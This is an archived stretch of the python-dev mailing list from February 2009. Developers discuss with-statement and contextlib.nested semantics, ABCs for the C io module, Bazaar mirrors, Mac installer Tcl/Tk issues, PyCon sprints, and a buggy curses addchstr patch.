> to the with statement in 2.7/3.1?
>

Sounds PEPpy to me since you are proposing changing the semantics for a
syntactic construct.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090225/bf0c729b/attachment.htm>

From steven.bethard at gmail.com  Wed Feb 25 19:47:16 2009
From: steven.bethard at gmail.com (Steven Bethard)
Date: Wed, 25 Feb 2009 10:47:16 -0800
Subject: [Python-Dev] Allow __enter__() methods to skip the with
	statement body?
In-Reply-To: <49A53881.3070908@gmail.com>
References: <49A53881.3070908@gmail.com>
Message-ID: <d11dcfba0902251047x1f21dd68g66394af7bfd88734@mail.gmail.com>

On Wed, Feb 25, 2009 at 4:24 AM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> An interesting discrepancy [1] has been noted when comparing
> contextlib.nested (and contextlib.contextmanager) with the equivalent
> nested with statements.
>
> Specifically, the following examples behave differently if
> cmB().__enter__() raises an exception which cmA().__exit__() then
> handles (and suppresses):
>
> ?with cmA():
> ? ?with cmB():
> ? ? ?do_stuff()
> ?# This will resume here without executing "Do stuff"
>
> ?@contextlib.contextmanager
> ?def combined():
> ? ?with cmA():
> ? ? ?with cmB():
> ? ? ? ?yield
>
> ?with combined():
> ? ?do_stuff()
> ?# This will raise RuntimeError complaining that the underlying
> ?# generator didn't yield
>
> ?with contextlib.nested(cmA(), cmB()):
> ? ?do_stuff()
> ?# This will raise the same RuntimeError as the contextmanager
> ?# example (unsurprising, given the way nested() is implemented)
>
> The problem arises any time it is possible to skip over the yield
> statement in a contextlib.contextmanager based context manager without
> raising an exception that can be seen by the code calling __enter__().

If the problem is just the yield, can't this just be fixed by
implementing contextlib.nested() as a class rather than as a
@contextmanager decorated generator? Or is this a problem with class
based context managers too?

Steve
-- 
I'm not *in*-sane. Indeed, I am so far *out* of sane that you appear a
tiny blip on the distant coast of sanity.
        --- Bucky Katt, Get Fuzzy

From dickinsm at gmail.com  Wed Feb 25 20:03:29 2009
From: dickinsm at gmail.com (Mark Dickinson)
Date: Wed, 25 Feb 2009 19:03:29 +0000
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <75B5025E-0A05-4642-90A7-CD8B9C7A2B23@python.org>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>
	<75B5025E-0A05-4642-90A7-CD8B9C7A2B23@python.org>
Message-ID: <5c6f2a5d0902251103o44e28af5ha3b9c318cdeb8cd4@mail.gmail.com>

On Wed, Feb 25, 2009 at 2:23 PM, Barry Warsaw <barry at python.org> wrote:
> This is now done.  Please let me know if you have any problems with the
> mirrors.

Is the cron job that's supposed to update the bzr repository still running?
I'm getting 'No revisions to pull' when I do 'bzr pull' for the py3k branch:

Macintosh-3:py3k dickinsm$ bzr pull
Using saved parent location: http://code.python.org/python/py3k/
No revisions to pull.

...which is a bit surprising, since my last 'bzr pull' was a while ago.
Do I need to update something somewhere?

I'm using bzr version 1.11 from macports.

Mark

From barry at python.org  Wed Feb 25 20:05:28 2009
From: barry at python.org (Barry Warsaw)
Date: Wed, 25 Feb 2009 14:05:28 -0500
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <5c6f2a5d0902251103o44e28af5ha3b9c318cdeb8cd4@mail.gmail.com>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>
	<75B5025E-0A05-4642-90A7-CD8B9C7A2B23@python.org>
	<5c6f2a5d0902251103o44e28af5ha3b9c318cdeb8cd4@mail.gmail.com>
Message-ID: <BBE4DB17-6003-4682-8487-0A2994A687DE@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Feb 25, 2009, at 2:03 PM, Mark Dickinson wrote:

> On Wed, Feb 25, 2009 at 2:23 PM, Barry Warsaw <barry at python.org>  
> wrote:
>> This is now done.  Please let me know if you have any problems with  
>> the
>> mirrors.
>
> Is the cron job that's supposed to update the bzr repository still  
> running?

No.  It was running on Thomas's machine but we just realized that it  
was broken.  I'm working on moving the cronjob over to  
code.python.org.  Stay tuned.

Barry

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSaWWeHEjvBPtnXfVAQLnPwP+OYls3161N9182B6ID9CmzsP5ynNxlcEv
YhY70l0XVtEnIf1TEaXbSizPH7qHeVfWBzA2RnLYPATQllL0OkyqfNqM+gwlGYL5
GPmeo4Ue+Cls5vqvDRbrLW/y0QOOopYooVj/H0p1PsMy8ka3rlNJ7T2cpVMq00wq
/VUhXWVSDUM=
=06jz
-----END PGP SIGNATURE-----

From solipsis at pitrou.net  Wed Feb 25 22:03:22 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Wed, 25 Feb 2009 21:03:22 +0000 (UTC)
Subject: [Python-Dev] Shared ABCs for the IO implementation
References: <loom.20090225T152841-48@post.gmane.org>
	<ca471dc20902250929y4fda28bfld14ad2420d2dbe42@mail.gmail.com>
Message-ID: <loom.20090225T205234-793@post.gmane.org>

Guido van Rossum <guido <at> python.org> writes:
> 
> Without a shared ABC you'd defeat the whole point of having ABCs.
> 
> However, importing ABCs (which are defined in Python) from C code
> (especially such fundamental C code as the I/O library) is really
> subtle and best avoided.
> 
> In io.py I solved this by having a Python class inherit from both the
> ABC (RawIOBase) and the implementation (_fileio._FileIO).

My plan (let's call it "the Operation") is to define the ABCs in Python by
deriving the C concrete base classes (that is, have io.XXXIOBase derive
_io.XXXIOBase). This way, by inheriting io.XXXIOBase, user code will benefit
both from ABC inheritance and fast C concrete implementations.

In turn, the concrete implementations in _pyio (the Python version) would
register() those ABCs. The reason I think the Python implementations shouldn't
be involved in the default inheritance tree is that we don't want user classes
to inherit a __del__ method.

All this is assuming I haven't made any logic error.
Otherwise, I'll have to launch "the new Operation".

Regards

Antoine.



From guido at python.org  Wed Feb 25 22:14:19 2009
From: guido at python.org (Guido van Rossum)
Date: Wed, 25 Feb 2009 13:14:19 -0800
Subject: [Python-Dev] Shared ABCs for the IO implementation
In-Reply-To: <loom.20090225T205234-793@post.gmane.org>
References: <loom.20090225T152841-48@post.gmane.org>
	<ca471dc20902250929y4fda28bfld14ad2420d2dbe42@mail.gmail.com>
	<loom.20090225T205234-793@post.gmane.org>
Message-ID: <ca471dc20902251314i521ac071h4a75a459a33b8ff9@mail.gmail.com>

On Wed, Feb 25, 2009 at 1:03 PM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> Guido van Rossum <guido <at> python.org> writes:
>>
>> Without a shared ABC you'd defeat the whole point of having ABCs.
>>
>> However, importing ABCs (which are defined in Python) from C code
>> (especially such fundamental C code as the I/O library) is really
>> subtle and best avoided.
>>
>> In io.py I solved this by having a Python class inherit from both the
>> ABC (RawIOBase) and the implementation (_fileio._FileIO).
>
> My plan (let's call it "the Operation") is to define the ABCs in Python by
> deriving the C concrete base classes (that is, have io.XXXIOBase derive
> _io.XXXIOBase). This way, by inheriting io.XXXIOBase, user code will benefit
> both from ABC inheritance and fast C concrete implementations.

However that's hardly an ABC. You need to provide a path for someone
who wants to implement the ABC without inheriting your implementation.

> In turn, the concrete implementations in _pyio (the Python version) would
> register() those ABCs. The reason I think the Python implementations shouldn't
> be involved in the default inheritance tree is that we don't want user classes
> to inherit a __del__ method.
>
> All this is assuming I haven't made any logic error.
> Otherwise, I'll have to launch "the new Operation".

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From ncoghlan at gmail.com  Wed Feb 25 22:28:58 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Thu, 26 Feb 2009 07:28:58 +1000
Subject: [Python-Dev] Allow __enter__() methods to skip the with
 statement body?
In-Reply-To: <d11dcfba0902251047x1f21dd68g66394af7bfd88734@mail.gmail.com>
References: <49A53881.3070908@gmail.com>
	<d11dcfba0902251047x1f21dd68g66394af7bfd88734@mail.gmail.com>
Message-ID: <49A5B81A.9000207@gmail.com>

Steven Bethard wrote:
> If the problem is just the yield, can't this just be fixed by
> implementing contextlib.nested() as a class rather than as a
> @contextmanager decorated generator? Or is this a problem with class
> based context managers too?

It's a problem for class-based context managers as well. Setting aside
the difficulties of actually maintaining nested()'s state on a class
rather than in a frame (it's definitely possible, but also somewhat
painful), you still end up in the situation where nested() knows that
cmB().__enter__() threw an exception that was then handled by
cmA().__exit__() and hence the body of the with statement should be
skipped but no exception should occur from the point of view of the
surrounding code. However, indicating that is not currently an option
available to nested().__enter__(): it can either raise an exception
(thus skipping the body of the with statement, but also propagating the
exception into the surrounding code), or it can return a value (which
would lead to the execution of the body of the with statement).

Returning a value would definitely be wrong, but raising the exception
isn't really right either.

contextmanager is just a special case - the "skipped yield" inside the
generator reflects the body of the with statement being skipped in the
original non-context manager code.

As to Brett's question of whether or not this is necessary/useful... the
problem I really have with the status quo is that it is currently
impossible to look at the following code snippets and say whether or not
the created CM's are valid:

  cm = contextlib.nested(cmA(), cmB())

  @contextlib.contextmanager
  def cm():
    with cmA():
      with cmB():
        yield

  # Not tested, probably have the class version wrong
  # This should illustrate why nested() wasn't written
  # as a class-based CM though - this one only nests
  # two specifically named CMs and look how tricky it gets!
  class CM(object):
    def __init__(self):
        self.cmA = None
        self.cmB = None
    def __enter__(self):
        if self.cmA is not None:
           raise RuntimeError("Can't re-use this CM")
        self.cmA = cmA()
        self.cmA.__enter__()
        try:
          self.cmB = cmB()
          self.cmB.__enter__()
        except:
          self.cmA.__exit__(*sys.exc_info())
          # Can't suppress in __enter__(), so must raise
          raise
    def __exit__(self, *args):
        suppress = False
        try:
          if self.cmB is not None:
            suppress = self.cmB.__exit__(*args)
        except:
          suppress = self.cmA.__exit__(*sys.exc_info()):
          if not suppress:
            # Exception has changed, so reraise explicitly
            raise
        else:
          if suppress:
             # cmB already suppressed the exception,
             # so don't pass it to cmA
            suppress = self.cmA.__exit__(None, None, None):
          else:
            suppress = self.cmA.__exit__(*args):
        return suppress

With the current with statement semantics, those CM's may raise
exceptions where the original multiple with statement code would work fine.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From ncoghlan at gmail.com  Wed Feb 25 22:31:48 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Thu, 26 Feb 2009 07:31:48 +1000
Subject: [Python-Dev] Shared ABCs for the IO implementation
In-Reply-To: <ca471dc20902251314i521ac071h4a75a459a33b8ff9@mail.gmail.com>
References: <loom.20090225T152841-48@post.gmane.org>	<ca471dc20902250929y4fda28bfld14ad2420d2dbe42@mail.gmail.com>	<loom.20090225T205234-793@post.gmane.org>
	<ca471dc20902251314i521ac071h4a75a459a33b8ff9@mail.gmail.com>
Message-ID: <49A5B8C4.6010103@gmail.com>

Guido van Rossum wrote:
> On Wed, Feb 25, 2009 at 1:03 PM, Antoine Pitrou <solipsis at pitrou.net> wrote:
>> Guido van Rossum <guido <at> python.org> writes:
>>> Without a shared ABC you'd defeat the whole point of having ABCs.
>>>
>>> However, importing ABCs (which are defined in Python) from C code
>>> (especially such fundamental C code as the I/O library) is really
>>> subtle and best avoided.
>>>
>>> In io.py I solved this by having a Python class inherit from both the
>>> ABC (RawIOBase) and the implementation (_fileio._FileIO).
>> My plan (let's call it "the Operation") is to define the ABCs in Python by
>> deriving the C concrete base classes (that is, have io.XXXIOBase derive
>> _io.XXXIOBase). This way, by inheriting io.XXXIOBase, user code will benefit
>> both from ABC inheritance and fast C concrete implementations.
> 
> However that's hardly an ABC. You need to provide a path for someone
> who wants to implement the ABC without inheriting your implementation.

Don't they already have that through register()?

However, the other problem with setting up the inheritance as Antoine
suggests is that it makes it impossible to import a pure Python version
of the module. Once the Python code inherits from something provided
only by the C module then the C version isn't optional any more.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From guido at python.org  Wed Feb 25 22:41:53 2009
From: guido at python.org (Guido van Rossum)
Date: Wed, 25 Feb 2009 13:41:53 -0800
Subject: [Python-Dev] Shared ABCs for the IO implementation
In-Reply-To: <49A5B8C4.6010103@gmail.com>
References: <loom.20090225T152841-48@post.gmane.org>
	<ca471dc20902250929y4fda28bfld14ad2420d2dbe42@mail.gmail.com>
	<loom.20090225T205234-793@post.gmane.org>
	<ca471dc20902251314i521ac071h4a75a459a33b8ff9@mail.gmail.com>
	<49A5B8C4.6010103@gmail.com>
Message-ID: <ca471dc20902251341g1072a8d1ofdc9baeacbffee96@mail.gmail.com>

On Wed, Feb 25, 2009 at 1:31 PM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> Guido van Rossum wrote:
>> On Wed, Feb 25, 2009 at 1:03 PM, Antoine Pitrou <solipsis at pitrou.net> wrote:
>>> Guido van Rossum <guido <at> python.org> writes:
>>>> Without a shared ABC you'd defeat the whole point of having ABCs.
>>>>
>>>> However, importing ABCs (which are defined in Python) from C code
>>>> (especially such fundamental C code as the I/O library) is really
>>>> subtle and best avoided.
>>>>
>>>> In io.py I solved this by having a Python class inherit from both the
>>>> ABC (RawIOBase) and the implementation (_fileio._FileIO).
>>> My plan (let's call it "the Operation") is to define the ABCs in Python by
>>> deriving the C concrete base classes (that is, have io.XXXIOBase derive
>>> _io.XXXIOBase). This way, by inheriting io.XXXIOBase, user code will benefit
>>> both from ABC inheritance and fast C concrete implementations.
>>
>> However that's hardly an ABC. You need to provide a path for someone
>> who wants to implement the ABC without inheriting your implementation.
>
> Don't they already have that through register()?

I'd like the ABCs to remain just as abstract or concrete as they are
in 3.0. As long as the C version implements the same methods with the
same semantics as the 3.0 io.py I don't care.

> However, the other problem with setting up the inheritance as Antoine
> suggests is that it makes it impossible to import a pure Python version
> of the module. Once the Python code inherits from something provided
> only by the C module then the C version isn't optional any more.

I think this should be taken care of by having separate _pyio.py and
_cio.py modules which are unified by io.py, right? (Or whatever naming
convention is agreed upon; I skipped that thread. :-)

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From solipsis at pitrou.net  Wed Feb 25 22:46:08 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Wed, 25 Feb 2009 21:46:08 +0000 (UTC)
Subject: [Python-Dev] Shared ABCs for the IO implementation
References: <loom.20090225T152841-48@post.gmane.org>
	<ca471dc20902250929y4fda28bfld14ad2420d2dbe42@mail.gmail.com>
	<loom.20090225T205234-793@post.gmane.org>
	<ca471dc20902251314i521ac071h4a75a459a33b8ff9@mail.gmail.com>
Message-ID: <loom.20090225T214459-983@post.gmane.org>

Guido van Rossum <guido <at> python.org> writes:
> 
> However that's hardly an ABC. You need to provide a path for someone
> who wants to implement the ABC without inheriting your implementation.

I may missing something, but it's exactly the same as today's io.py: if you
derive the ABC, you inherit the implementations at the same time.

OTOH, as Nick says, one can just use register().

Regards

Antoine.



From rowen at u.washington.edu  Wed Feb 25 22:53:13 2009
From: rowen at u.washington.edu (Russell E. Owen)
Date: Wed, 25 Feb 2009 13:53:13 -0800
Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions
References: <DA195505-BDC0-4AF4-B707-4839BA87075B@python.org>
	<ec96e1390902132046k75fbaa12h7c54ab0f8f346bbe@mail.gmail.com>
	<nad-34F90E.03222214022009@news.gmane.org>
Message-ID: <rowen-8731E0.13531325022009@news.gmane.org>

In article <nad-34F90E.03222214022009 at news.gmane.org>,
 Ned Deily <nad at acm.org> wrote:

> Speaking of an OS X installer for 3.0.1, over the last few weeks I have 
> been working on tidying up the OS X installer build process.  While the 
> basic OS X build/installer process is good, some cruft has accumulated 
> over the past years and a number of mostly minor issues arose due to the 
> 3.x split.  IMO, the most important issues were with IDLE and, thanks to 
> Ronald, we did get the most important fixes for OS X IDLE checked-in in 
> time for 3.0.1; they are also in py3k and will be going into trunk and 
> 26.  I have a few other fixes that apply just to the OSX build/installer 
> parts which did not get submitted in time for the 3.0.1 cutoff but which 
> are ready to go for 3.x and 2.x.  Basically they fix some version number 
> updating and ensure that the installer image will be built reproducibly 
> in a clean environment so there is no contamination of the installer 
> images.  Currently, that's easy to do as happened with the first round 
> of the OS X 2.6 installer (e.g. with a locally installed Tcl/Tk). 

I want to follow up on this a bit. In the past if the Mac Python 
installer was built on a machine that did NOT have a locally installed 
Tcl/Tk then it would fail to work with a locally installed Tcl/Tk: 
Python would segfault when trying to use Tkinter.

The solution was to build the Mac python installer on a machine with a 
locally installed Tcl/Tk. The resulting installer package would work on 
all systems -- with or without locally installed Tcl/Tk.

So...has this problem been worked around, or is the Mac installer still 
built on a machine that has a locally installed Tcl/Tk?

I haven't run Python 2.6 yet because there is no release of numpy that 
is compatible. I did try upgrading from 2.5.2 to 2.5.4 and got a 
segfault when trying to display images using PIL and Tkinter; I have not 
had time to try to track that down, so I've just reverted for now.

Most people who makes serious use of Tkinter presumably have a locally 
installed Tcl/Tk because the version that Apple provides is ancient and 
is missing many important bug fixes and performance enhancements.


Also, a somewhat related issue: Tcl/Tk 8.4 is no longer maintained. All 
development work is going on in Tcl/Tk 8.5. Presumably Apple will 
transition one of these days, and at that point we may need a separate 
Mac Python installer for the older operating systems vs. the newer.

-- Rusell


From guido at python.org  Wed Feb 25 23:06:12 2009
From: guido at python.org (Guido van Rossum)
Date: Wed, 25 Feb 2009 14:06:12 -0800
Subject: [Python-Dev] Shared ABCs for the IO implementation
In-Reply-To: <loom.20090225T214459-983@post.gmane.org>
References: <loom.20090225T152841-48@post.gmane.org>
	<ca471dc20902250929y4fda28bfld14ad2420d2dbe42@mail.gmail.com>
	<loom.20090225T205234-793@post.gmane.org>
	<ca471dc20902251314i521ac071h4a75a459a33b8ff9@mail.gmail.com>
	<loom.20090225T214459-983@post.gmane.org>
Message-ID: <ca471dc20902251406t28b6e067kd10c35915630577@mail.gmail.com>

On Wed, Feb 25, 2009 at 1:46 PM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> Guido van Rossum <guido <at> python.org> writes:
>>
>> However that's hardly an ABC. You need to provide a path for someone
>> who wants to implement the ABC without inheriting your implementation.
>
> I may missing something, but it's exactly the same as today's io.py: if you
> derive the ABC, you inherit the implementations at the same time.
>
> OTOH, as Nick says, one can just use register().

OK then.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From steve at integrityintegrators.net  Wed Feb 25 22:16:17 2009
From: steve at integrityintegrators.net (Heracles)
Date: Wed, 25 Feb 2009 13:16:17 -0800 (PST)
Subject: [Python-Dev]  New curses module method addchstr, etc.
Message-ID: <22211983.post@talk.nabble.com>


Hello,

I submitted my first patch recently for the curses color_set and wcolor_set
functions.  I am now working on addchstr, addchnstr, mvaddchstr,
mvaddchnstr, mvwaddchstr, mvwaddchnstr, waddchstr and waddchnstr.

I have implemented the non window specific methods as follows:

/* Window.addchstr Inserted Steve Owens 2/25/2005 */
static PyObject *
PyCursesWindow_AddChstr(PyCursesWindowObject *self, PyObject *args)
{
  int x, y, n;
  PyStringObject *pS;

  switch (PyTuple_Size(args)) {
  case 1:
    if (!PyArg_ParseTuple(args, "S;(String) expected for waddchstr", &pS))
		return NULL;    
	return PyCursesCheckERR(waddchstr(self->win,
(chtype*)PyString_AsString(pS)), "waddchstr");    
  case 2:
    if (!PyArg_ParseTuple(args, "Si;(String, int) expected for waddchnstr",
&pS, &n))
		return NULL;
    return PyCursesCheckERR(waddchnstr(self->win,
(chtype*)PyString_AsString(pS), n), "waddchnstr");    
  case 3:
    if (!PyArg_ParseTuple(args,"iiS;(int, int, String) expected for
mvwaddchstr", &y, &x, &pS)) 
		return NULL;
    return PyCursesCheckERR(mvwaddchstr(self->win, y, x,
(chtype*)PyString_AsString(pS)), "mvwaddchstr");
  case 4:
    if (!PyArg_ParseTuple(args,"iiSi;(int, int, String, int) expected for
mvwaddchnstr", &y, &x, &pS, &n))
		return NULL;
    return PyCursesCheckERR(mvwaddchnstr(self->win, y, x,
(chtype*)PyString_AsString(pS), n), "mvwaddchnstr");
  default:
    PyErr_SetString(PyExc_TypeError, "addchstr requires 1 to 4 arguments");
  }  
  return NULL;
}

Now the thing is that when I make calls from python like so:

   curses.addchstr(5,10, "@ < Row 5, Col 10")
   curses.addchstr(8,10, "Below you should see ABCDEFG")
   curses.addchstr(9,10, "ABCDEFG")
   curses.addchstr(12,10, "Below you should see ABCD")
   curses.addchnstr(13,10, "ABCDEFGHI", 4)

What prints out on the screen is gobledygook not the strings you would
expect below.

Any thoughts on how to correctly convert the PyStringObject arguments to
chtype* pointers so that the ncurses library will be able to understand
them?
-- 
View this message in context: http://www.nabble.com/New-curses-module-method-addchstr%2C-etc.-tp22211983p22211983.html
Sent from the Python - python-dev mailing list archive at Nabble.com.


From steve at integrityintegrators.net  Wed Feb 25 23:00:53 2009
From: steve at integrityintegrators.net (Heracles)
Date: Wed, 25 Feb 2009 14:00:53 -0800 (PST)
Subject: [Python-Dev] String conversion issues implementing new curses
 module method addchstr, etc.
Message-ID: <22211983.post@talk.nabble.com>


Hello,

I submitted my first patch recently for the curses color_set and wcolor_set
functions.  I am now working on addchstr, addchnstr, mvaddchstr,
mvaddchnstr, mvwaddchstr, mvwaddchnstr, waddchstr and waddchnstr.

I have implemented the non window specific methods as follows:

static PyObject *
PyCurses_AddChstr(PyObject *self, PyObject *args)
{
  int x, y, n;

  PyStringObject *pS = NULL;
 
  switch (PyTuple_Size(args)) {
  case 1:
    if (!PyArg_ParseTuple(args, "S;(String) expected for addchstr", &pS))
		return NULL;    
	return PyCursesCheckERR(addchstr((chtype*)PyString_AsString(pS)),
"addchstr");    
  case 2:
    if (!PyArg_ParseTuple(args, "Si;(String, int) expected for addchnstr",
&pS, &n))
		return NULL;
    return PyCursesCheckERR(addchnstr((chtype*)PyString_AsString(pS), n),
"addchnstr");    
  case 3:
    if (!PyArg_ParseTuple(args,"iiS;(int, int, String) expected for
mvaddchstr", &y, &x, &pS)) 
		return NULL;
    return PyCursesCheckERR(mvaddchstr(y, x,
(chtype*)PyString_AsString(pS)), "mvaddchstr");
  case 4:
    if (!PyArg_ParseTuple(args,"iiSi;(int, int, String, int) expected for
mvaddchnstr", &y, &x, &pS, &n))
		return NULL;
    return PyCursesCheckERR(mvaddchnstr(y, x,
(chtype*)PyString_AsString(pS), n), "mvaddchnstr");
  default:
    PyErr_SetString(PyExc_TypeError, "addchstr requires 1 to 4 arguments");
  }  
  return NULL;
}


Now the thing is that when I make calls from python like so:

   curses.addchstr(5,10, "@ < Row 5, Col 10")
   curses.addchstr(8,10, "Below you should see ABCDEFG")
   curses.addchstr(9,10, "ABCDEFG")
   curses.addchstr(12,10, "Below you should see ABCD")
   curses.addchnstr(13,10, "ABCDEFGHI", 4)

What prints out on the screen is gobledygook not the strings you would
expect below.

Any thoughts on how to correctly convert the PyStringObject arguments to
chtype* pointers so that the ncurses library will be able to understand
them?
-- 
View this message in context: http://www.nabble.com/String-conversion-issues-implementing-new-curses-module-method-addchstr%2C-etc.-tp22211983p22211983.html
Sent from the Python - python-dev mailing list archive at Nabble.com.


From starsareblueandfaraway at gmail.com  Thu Feb 26 01:08:42 2009
From: starsareblueandfaraway at gmail.com (Roy H. Han)
Date: Wed, 25 Feb 2009 19:08:42 -0500
Subject: [Python-Dev] PyCon 2009: Call for sprint projects
In-Reply-To: <be4ebbe10902091727l4edff9cdw9bea33f630b4cafa@mail.gmail.com>
References: <be4ebbe10902091727l4edff9cdw9bea33f630b4cafa@mail.gmail.com>
Message-ID: <6a5569ec0902251608o5ea6c023ta0689ddb2c96d56f@mail.gmail.com>

Hi Jacob,

Will there be GeoDjango/OpenLayers subsprint in the Django sprint?

Thanks,
RHH

On Mon, Feb 9, 2009 at 8:27 PM, Jacob Kaplan-Moss <jacob at jacobian.org> wrote:
> Python-related projects: join the PyCon Development Sprints!
>
> The development sprints are a key part of PyCon, a chance for the contributors
> to open-source projects to get together face-to-face for up to four days of
> intensive learning and development. Newbies sit at the same table as the gurus,
> go out for lunch and dinner together, and have a great time while advancing
> their project. Sprints are one of the best parts of PyCon; in 2008 over 250
> sprinters came for at least one day!
>
> If your project would like to sprint at PyCon, now is the time to let us know.
> We'll collect your info and publish it so that participants will have time to
> make plans. We'll need to get the word out early so that folks who want to
> sprint have time to make travel arrangements.
>
> In the past, some have been reluctant to commit to sprinting: some may not know
> what sprinting is all about; others may think that they're not "qualified" to
> sprint. We're on an ongoing mission to change that perception:
>
> * We'll help promote your sprint. The PyCon website, the PyCon blog, the PyCon
> ?podcast, and press releases will be there for you.
>
> * PyCon attendees will be asked to commit to sprints on the registration form,
> ?which will include a list of sprints with links to further info.
>
> * We will be featuring a "How To Sprint" session on Sunday afternoon, followed
> ?by sprint-related tutorials, all for free. This is a great opportunity to
> ?introduce your project to prospective contributors. We'll have more details
> ?about this later.
>
> * Some sponsors are helping out with the sprints as well.
>
> There's also cost. Although the sprinting itself is free, sprints have
> associated time and hotel costs. We can't do anything about the time cost, but
> we may have some complimentary rooms and funding available for sprinters. We
> will have more to say on financial aid later.
>
> Those who want to lead a sprint should send the following information
> to pycon-organizers at python.org:
>
> * Project/sprint name
>
> * Project URL
>
> * The name and contact info (email and/or telephone) for the sprint leader(s)
> ?and other contributors who will attend the sprint
>
> * Instructions for accessing the project's code repository and documentation (or
> ?a URL)
>
> * Pointers to new contributor information (setup, etc.)
>
> * Any special requirements (projector? whiteboard? flux capacitor?)
>
> We will add this information to the PyCon website and set up a wiki page for you
> (or we can link to yours). Projects should provide a list of goals (bugs to fix,
> features to add, docs to write, etc.), especially some goals for beginners, to
> attract new sprinters. The more detail you put there, the more prepared your
> sprinters will be, and the more results you'll get.
>
> In 2008 there were sprints for Python, TurboGears, Pylons, Django, Jython, WSGI,
> PyGame, Bazaar, Trac, PyCon-Tech, OLPC, Orbited, PyPy, Grok, and many others. We
> would like to see all these and more!
>
> Sprints will start with an introductory session on Sunday, March 29; this
> session will begin immedately after PyCon's scheduled portion ends. The sprints
> themselves will run from Monday, March 30 through Thursday, April 2, 2009.
>
> You can find all these details and more at http://us.pycon.org/2009/sprints/.
>
> If you have any questions, feel free to contact me directly.
> Thank you very much, and happy coding!
>
> Jacob Kaplan-Moss
> <jacob at jacobian.org>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/starsareblueandfaraway%40gmail.com
>

From skip at pobox.com  Thu Feb 26 02:54:25 2009
From: skip at pobox.com (skip at pobox.com)
Date: Wed, 25 Feb 2009 19:54:25 -0600
Subject: [Python-Dev] Bug tracker house cleaning.
In-Reply-To: <EDEE1D91AA7149729D998FF83049485F@RaymondLaptop1>
References: <EDEE1D91AA7149729D998FF83049485F@RaymondLaptop1>
Message-ID: <18853.63057.233674.545543@montanaro.dyndns.org>

    Raymond> ISTM, that when closing duplicate bug reports, both should
    Raymond> reference one another so that the combined threads don't get
    Raymond> lost.

RT has a merge feature which allows you to take a duplicate an merge it into
another ticket.  This merges the chain of comments, cc's requestors, etc.  

Skip

From leif.walsh at gmail.com  Thu Feb 26 09:08:00 2009
From: leif.walsh at gmail.com (Leif Walsh)
Date: Thu, 26 Feb 2009 03:08:00 -0500
Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs
In-Reply-To: <87tz6ppzk9.fsf@xemacs.org>
References: <499C6E00.2030602@canterbury.ac.nz> <499CC6E8.5050104@ronadam.com>
	<499D243B.8080801@canterbury.ac.nz>
	<499D2740.1070408@canterbury.ac.nz>
	<499D3086.6020706@canterbury.ac.nz>
	<ca471dc20902190712o1ebb3ee5r10f46147abd78324@mail.gmail.com>
	<87tz6ppzk9.fsf@xemacs.org>
Message-ID: <cc7430500902260008q491a776fk53a2ffc6051bb1@mail.gmail.com>

On Thu, Feb 19, 2009 at 10:17 PM, Stephen J. Turnbull
<turnbull at sk.tsukuba.ac.jp> wrote:
> Overall, I recommend use of Google Docs for "Python-Ideas" level of
> PEP drafts.

+1!  I also like Google Sites for collaborative editing.

-- 
Cheers,
Leif

From eckhardt at satorlaser.com  Thu Feb 26 12:52:23 2009
From: eckhardt at satorlaser.com (Ulrich Eckhardt)
Date: Thu, 26 Feb 2009 12:52:23 +0100
Subject: [Python-Dev] String conversion issues implementing new curses
 module method addchstr, etc.
In-Reply-To: <22211983.post@talk.nabble.com>
References: <22211983.post@talk.nabble.com>
Message-ID: <200902261252.23274.eckhardt@satorlaser.com>

On Wednesday 25 February 2009, Heracles wrote:
> addchstr((chtype*)PyString_AsString(pS))

You are effectively disabling the well-deserved warnings with the cast here. 
Don't do that.

> Now the thing is that when I make calls from python like so:
>
>    curses.addchstr(5,10, "@ < Row 5, Col 10")
[...]
> What prints out on the screen is gobledygook not the strings you would
> expect below.
[...]
> Any thoughts on how to correctly convert the PyStringObject arguments to
> chtype* pointers so that the ncurses library will be able to understand
> them?

In this case, I suggest man ncurses:

| cchar_t
|    corresponds to chtype.  However it is a structure, because more
|    data is stored than can fit into an integer.  The characters are
|    large enough to require a full  integer  value  -  and there may
|    be more than one character per cell. The video attributes and
|    color are stored in  separate fields of the structure.  

I'm pretty sure that you can find functions to generate such a string both 
from a char-string (with whatever encoding) or a wchar_t-string (using 
Unicode probably) in the curses library.

Uli

-- 
Sator Laser GmbH
Gesch?ftsf?hrer: Thorsten F?cking, Amtsgericht Hamburg HR B62 932

**************************************************************************************
Sator Laser GmbH, Fangdieckstra?e 75a, 22547 Hamburg, Deutschland
Gesch?ftsf?hrer: Thorsten F?cking, Amtsgericht Hamburg HR B62 932
**************************************************************************************
           Visit our website at <http://www.satorlaser.de/>
**************************************************************************************
